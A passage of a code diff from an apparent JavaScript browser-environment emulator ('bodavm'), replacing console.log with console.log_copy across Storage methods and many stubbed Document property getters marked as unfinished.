存在于bodavm.memory.localStorage中直接取值`, `item->${_item} `) - console.log(`Storage_getItem `, `key->${key} `, `item->${item} `) + // item=_item + return _item + } + } + console.log_copy(`Storage_getItem `, `key->${key} `, `item->${item} `) return item } bodavm.envFunc.Storage_removeItem = function Storage_removeItem() { if (bodavm.config.isdebug) { debugger } let key = arguments[0] - console.log(`Storage_removeItem `, `key->${key} `); + console.log_copy(`Storage_removeItem `, `key->${key} `); delete this[key] @@ -3371,7 +3574,7 @@ bodavm.memory.Performance={ // if(bodavm.config.isdebug){debugger};; let index = arguments[0]; let i = 0; - console.log(`Storage_key `, `index${index} `) + console.log_copy(`Storage_key `, `index${index} `) for (var key in this) { if (key =='hasOwnProperty_bo'){continue} @@ -3389,7 +3592,7 @@ bodavm.memory.Performance={ debugger // this = {} // this.__proto__=Storage.prototype - console.log(`Storage_clear `, `{} `); + console.log_copy(`Storage_clear `, `{} `); } bodavm.envFunc.Storage_length_get = function Storage_length_get() { @@ -3401,183 +3604,198 @@ bodavm.memory.Performance={ i++ } - console.log(`Storage_length_get `, `length->${i} `); + console.log_copy(`Storage_length_get `, `length->${i} `); return i; } //Document - bodavm.envFunc.Document_onbeforecut_get = function Document_onbeforecut_get() { console.log("Document_onbeforecut_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onbeforematch_get = function Document_onbeforematch_get() { console.log("Document_onbeforematch_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onbeforexrselect_get = function Document_onbeforexrselect_get() { console.log("Document_onbeforexrselect_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onblur_get = function Document_onblur_get() { console.log("Document_onblur_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oncancel_get = function Document_oncancel_get() { console.log("Document_oncancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oncanplay_get = function Document_oncanplay_get() { console.log("Document_oncanplay_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_xmlVersion_get = function Document_xmlVersion_get() { console.log("Document_xmlVersion_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_xmlStandalone_get = function Document_xmlStandalone_get() { console.log("Document_xmlStandalone_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_xmlEncoding_get = function Document_xmlEncoding_get() { console.log("Document_xmlEncoding_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_webkitVisibilityState_get = function Document_webkitVisibilityState_get() { console.log("Document_webkitVisibilityState_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_webkitIsFullScreen_get = function Document_webkitIsFullScreen_get() { console.log("Document_webkitIsFullScreen_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_webkitHidden_get = function Document_webkitHidden_get() { console.log("Document_webkitHidden_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_webkitFullscreenEnabled_get = function Document_webkitFullscreenEnabled_get() { console.log("Document_webkitFullscreenEnabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_webkitFullscreenElement_get = function Document_webkitFullscreenElement_get() { console.log("Document_webkitFullscreenElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_webkitCurrentFullScreenElement_get = function Document_webkitCurrentFullScreenElement_get() { console.log("Document_webkitCurrentFullScreenElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onbeforecut_get = function Document_onbeforecut_get() { console.log_copy("Document_onbeforecut_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onbeforematch_get = function Document_onbeforematch_get() { console.log_copy("Document_onbeforematch_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onbeforexrselect_get = function Document_onbeforexrselect_get() { console.log_copy("Document_onbeforexrselect_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onblur_get = function Document_onblur_get() { console.log_copy("Document_onblur_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oncancel_get = function Document_oncancel_get() { console.log_copy("Document_oncancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oncanplay_get = function Document_oncanplay_get() { console.log_copy("Document_oncanplay_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_xmlVersion_get = function Document_xmlVersion_get() { console.log_copy("Document_xmlVersion_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_xmlStandalone_get = function Document_xmlStandalone_get() { console.log_copy("Document_xmlStandalone_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_xmlEncoding_get = function Document_xmlEncoding_get() { console.log_copy("Document_xmlEncoding_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_webkitVisibilityState_get = function Document_webkitVisibilityState_get() { console.log_copy("Document_webkitVisibilityState_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_webkitIsFullScreen_get = function Document_webkitIsFullScreen_get() { console.log_copy("Document_webkitIsFullScreen_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_webkitHidden_get = function Document_webkitHidden_get() { console.log_copy("Document_webkitHidden_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_webkitFullscreenEnabled_get = function Document_webkitFullscreenEnabled_get() { console.log_copy("Document_webkitFullscreenEnabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_webkitFullscreenElement_get = function Document_webkitFullscreenElement_get() { console.log_copy("Document_webkitFullscreenElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_webkitCurrentFullScreenElement_get = function Document_webkitCurrentFullScreenElement_get() { console.log_copy("Document_webkitCurrentFullScreenElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Document_wasDiscarded_get = function Document_wasDiscarded_get() { - console.log("Document_wasDiscarded_get ", false, "!!!!!!!!!未完善!!!!!!!!!!!!") + console.log_copy("Document_wasDiscarded_get ", false, "!!!!!!!!!未完善!!!!!!!!!!!!") return false } - bodavm.envFunc.Document_vlinkColor_get = function Document_vlinkColor_get() { console.log("Document_vlinkColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_vlinkColor_get = function Document_vlinkColor_get() { console.log_copy("Document_vlinkColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Document_visibilityState_get = function Document_visibilityState_get() { - console.log("Document_visibilityState_get ", 'visible',) + console.log_copy("Document_visibilityState_get ", 'visible',) return 'visible' } - bodavm.envFunc.Document_timeline_get = function Document_timeline_get() { console.log("Document_timeline_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_styleSheets_get = function Document_styleSheets_get() { console.log("Document_styleSheets_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_rootElement_get = function Document_rootElement_get() { console.log("Document_rootElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_pointerLockElement_get = function Document_pointerLockElement_get() { console.log("Document_pointerLockElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_plugins_get = function Document_plugins_get() { console.log("Document_plugins_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_pictureInPictureEnabled_get = function Document_pictureInPictureEnabled_get() { console.log("Document_pictureInPictureEnabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_pictureInPictureElement_get = function Document_pictureInPictureElement_get() { console.log("Document_pictureInPictureElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onwheel_get = function Document_onwheel_get() { console.log("Document_onwheel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onwebkittransitionend_get = function Document_onwebkittransitionend_get() { console.log("Document_onwebkittransitionend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onwebkitfullscreenerror_get = function Document_onwebkitfullscreenerror_get() { console.log("Document_onwebkitfullscreenerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onwebkitfullscreenchange_get = function Document_onwebkitfullscreenchange_get() { console.log("Document_onwebkitfullscreenchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onwebkitanimationstart_get = function Document_onwebkitanimationstart_get() { console.log("Document_onwebkitanimationstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onwebkitanimationiteration_get = function Document_onwebkitanimationiteration_get() { console.log("Document_onwebkitanimationiteration_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onwebkitanimationend_get = function Document_onwebkitanimationend_get() { console.log("Document_onwebkitanimationend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onwaiting_get = function Document_onwaiting_get() { console.log("Document_onwaiting_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onvolumechange_get = function Document_onvolumechange_get() { console.log("Document_onvolumechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onvisibilitychange_get = function Document_onvisibilitychange_get() { console.log("Document_onvisibilitychange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ontransitionstart_get = function Document_ontransitionstart_get() { console.log("Document_ontransitionstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ontransitionrun_get = function Document_ontransitionrun_get() { console.log("Document_ontransitionrun_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ontransitionend_get = function Document_ontransitionend_get() { console.log("Document_ontransitionend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ontransitioncancel_get = function Document_ontransitioncancel_get() { console.log("Document_ontransitioncancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ontoggle_get = function Document_ontoggle_get() { console.log("Document_ontoggle_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ontimeupdate_get = function Document_ontimeupdate_get() { console.log("Document_ontimeupdate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onsuspend_get = function Document_onsuspend_get() { console.log("Document_onsuspend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onsubmit_get = function Document_onsubmit_get() { console.log("Document_onsubmit_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onstalled_get = function Document_onstalled_get() { console.log("Document_onstalled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onslotchange_get = function Document_onslotchange_get() { console.log("Document_onslotchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onselectstart_get = function Document_onselectstart_get() { console.log("Document_onselectstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onselect_get = function Document_onselect_get() { console.log("Document_onselect_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onseeking_get = function Document_onseeking_get() { console.log("Document_onseeking_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onseeked_get = function Document_onseeked_get() { console.log("Document_onseeked_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onsecuritypolicyviolation_get = function Document_onsecuritypolicyviolation_get() { console.log("Document_onsecuritypolicyviolation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onsearch_get = function Document_onsearch_get() { console.log("Document_onsearch_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onscroll_get = function Document_onscroll_get() { console.log("Document_onscroll_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onresume_get = function Document_onresume_get() { console.log("Document_onresume_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onresize_get = function Document_onresize_get() { console.log("Document_onresize_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onreset_get = function Document_onreset_get() { console.log("Document_onreset_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onreadystatechange_get = function Document_onreadystatechange_get() { console.log("Document_onreadystatechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_activeElement_get = function Document_activeElement_get() { console.log("Document_activeElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_adoptedStyleSheets_get = function Document_adoptedStyleSheets_get() { console.log("Document_adoptedStyleSheets_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_alinkColor_get = function Document_alinkColor_get() { console.log("Document_alinkColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_timeline_get = function Document_timeline_get() { console.log_copy("Document_timeline_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_styleSheets_get = function Document_styleSheets_get() { console.log_copy("Document_styleSheets_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_rootElement_get = function Document_rootElement_get() { console.log_copy("Document_rootElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_pointerLockElement_get = function Document_pointerLockElement_get() { console.log_copy("Document_pointerLockElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_plugins_get = function Document_plugins_get() { console.log_copy("Document_plugins_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_pictureInPictureEnabled_get = function Document_pictureInPictureEnabled_get() { console.log_copy("Document_pictureInPictureEnabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_pictureInPictureElement_get = function Document_pictureInPictureElement_get() { console.log_copy("Document_pictureInPictureElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onwheel_get = function Document_onwheel_get() { console.log_copy("Document_onwheel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onwebkittransitionend_get = function Document_onwebkittransitionend_get() { console.log_copy("Document_onwebkittransitionend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onwebkitfullscreenerror_get = function Document_onwebkitfullscreenerror_get() { console.log_copy("Document_onwebkitfullscreenerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onwebkitfullscreenchange_get = function Document_onwebkitfullscreenchange_get() { console.log_copy("Document_onwebkitfullscreenchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onwebkitanimationstart_get = function Document_onwebkitanimationstart_get() { console.log_copy("Document_onwebkitanimationstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onwebkitanimationiteration_get = function Document_onwebkitanimationiteration_get() { console.log_copy("Document_onwebkitanimationiteration_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onwebkitanimationend_get = function Document_onwebkitanimationend_get() { console.log_copy("Document_onwebkitanimationend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onwaiting_get = function Document_onwaiting_get() { console.log_copy("Document_onwaiting_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onvolumechange_get = function Document_onvolumechange_get() { console.log_copy("Document_onvolumechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onvisibilitychange_get = function Document_onvisibilitychange_get() { console.log_copy("Document_onvisibilitychange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ontransitionstart_get = function Document_ontransitionstart_get() { console.log_copy("Document_ontransitionstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ontransitionrun_get = function Document_ontransitionrun_get() { console.log_copy("Document_ontransitionrun_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ontransitionend_get = function Document_ontransitionend_get() { console.log_copy("Document_ontransitionend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ontransitioncancel_get = function Document_ontransitioncancel_get() { console.log_copy("Document_ontransitioncancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ontoggle_get = function Document_ontoggle_get() { console.log_copy("Document_ontoggle_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ontimeupdate_get = function Document_ontimeupdate_get() { console.log_copy("Document_ontimeupdate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onsuspend_get = function Document_onsuspend_get() { console.log_copy("Document_onsuspend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onsubmit_get = function Document_onsubmit_get() { console.log_copy("Document_onsubmit_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onstalled_get = function Document_onstalled_get() { console.log_copy("Document_onstalled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onslotchange_get = function Document_onslotchange_get() { console.log_copy("Document_onslotchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onselectstart_get = function Document_onselectstart_get() { console.log_copy("Document_onselectstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onselect_get = function Document_onselect_get() { console.log_copy("Document_onselect_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onseeking_get = function Document_onseeking_get() { console.log_copy("Document_onseeking_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onseeked_get = function Document_onseeked_get() { console.log_copy("Document_onseeked_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onsecuritypolicyviolation_get = function Document_onsecuritypolicyviolation_get() { console.log_copy("Document_onsecuritypolicyviolation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onsearch_get = function Document_onsearch_get() { console.log_copy("Document_onsearch_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onscroll_get = function Document_onscroll_get() { console.log_copy("Document_onscroll_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onresume_get = function Document_onresume_get() { console.log_copy("Document_onresume_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onresize_get = function Document_onresize_get() { console.log_copy("Document_onresize_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onreset_get = function Document_onreset_get() { console.log_copy("Document_onreset_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onreadystatechange_get = function Document_onreadystatechange_get() { console.log_copy("Document_onreadystatechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_activeElement_get = function Document_activeElement_get() { console.log_copy("Document_activeElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_adoptedStyleSheets_get = function Document_adoptedStyleSheets_get() { console.log_copy("Document_adoptedStyleSheets_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_alinkColor_get = function Document_alinkColor_get() { console.log_copy("Document_alinkColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_anchors_get = function Document_anchors_get() { console.log("Document_anchors_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_applets_get = function Document_applets_get() { console.log("Document_applets_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_bgColor_get = function Document_bgColor_get() { console.log("Document_bgColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_childElementCount_get = function Document_childElementCount_get() { console.log("Document_childElementCount_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_children_get = function Document_children_get() { console.log("Document_children_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_anchors_get = function Document_anchors_get() { console.log_copy("Document_anchors_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_applets_get = function Document_applets_get() { console.log_copy("Document_applets_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_bgColor_get = function Document_bgColor_get() { console.log_copy("Document_bgColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_childElementCount_get = function Document_childElementCount_get() { console.log_copy("Document_childElementCount_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_children_get = function Document_children_get() { console.log_copy("Document_children_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Document_currentScript_get = function Document_currentScript_get() { // debugger let res=this._boarg.currentScript - console.log("Document_currentScript_get ", `-> res ->${res}`, "!!!!!!!!!未完善!!!!!!!!!!!!") + console.log_copy("Document_currentScript_get ", `-> res ->${res}`, "!!!!!!!!!未完善!!!!!!!!!!!!") return res } - bodavm.envFunc.Document_defaultView_get = function Document_defaultView_get() { console.log("Document_defaultView_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_doctype_get = function Document_doctype_get() { console.log("Document_doctype_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_embeds_get = function Document_embeds_get() { console.log("Document_embeds_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_featurePolicy_get = function Document_featurePolicy_get() { console.log("Document_featurePolicy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_fgColor_get = function Document_fgColor_get() { console.log("Document_fgColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_firstElementChild_get = function Document_firstElementChild_get() { console.log("Document_firstElementChild_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_fonts_get = function Document_fonts_get() { console.log("Document_fonts_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_fragmentDirective_get = function Document_fragmentDirective_get() { console.log("Document_fragmentDirective_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_fullscreen_get = function Document_fullscreen_get() { console.log("Document_fullscreen_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_fullscreenElement_get = function Document_fullscreenElement_get() { console.log("Document_fullscreenElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_fullscreenEnabled_get = function Document_fullscreenEnabled_get() { console.log("Document_fullscreenEnabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_lastElementChild_get = function Document_lastElementChild_get() { console.log("Document_lastElementChild_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_linkColor_get = function Document_linkColor_get() { console.log("Document_linkColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_links_get = function Document_links_get() { console.log("Document_links_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onabort_get = function Document_onabort_get() { console.log("Document_onabort_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onanimationend_get = function Document_onanimationend_get() { console.log("Document_onanimationend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onanimationiteration_get = function Document_onanimationiteration_get() { console.log("Document_onanimationiteration_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onanimationstart_get = function Document_onanimationstart_get() { console.log("Document_onanimationstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onauxclick_get = function Document_onauxclick_get() { console.log("Document_onauxclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onbeforecopy_get = function Document_onbeforecopy_get() { console.log("Document_onbeforecopy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onbeforepaste_get = function Document_onbeforepaste_get() { console.log("Document_onbeforepaste_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oncanplaythrough_get = function Document_oncanplaythrough_get() { console.log("Document_oncanplaythrough_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onchange_get = function Document_onchange_get() { console.log("Document_onchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onclick_get = function Document_onclick_get() { console.log("Document_onclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onclose_get = function Document_onclose_get() { console.log("Document_onclose_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oncontextlost_get = function Document_oncontextlost_get() { console.log("Document_oncontextlost_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oncontextmenu_get = function Document_oncontextmenu_get() { console.log("Document_oncontextmenu_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oncontextrestored_get = function Document_oncontextrestored_get() { console.log("Document_oncontextrestored_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oncopy_get = function Document_oncopy_get() { console.log("Document_oncopy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oncuechange_get = function Document_oncuechange_get() { console.log("Document_oncuechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oncut_get = function Document_oncut_get() { console.log("Document_oncut_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ondblclick_get = function Document_ondblclick_get() { console.log("Document_ondblclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ondrag_get = function Document_ondrag_get() { console.log("Document_ondrag_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ondragend_get = function Document_ondragend_get() { console.log("Document_ondragend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ondragenter_get = function Document_ondragenter_get() { console.log("Document_ondragenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ondragleave_get = function Document_ondragleave_get() { console.log("Document_ondragleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ondragover_get = function Document_ondragover_get() { console.log("Document_ondragover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ondragstart_get = function Document_ondragstart_get() { console.log("Document_ondragstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ondrop_get = function Document_ondrop_get() { console.log("Document_ondrop_get ", undefined, 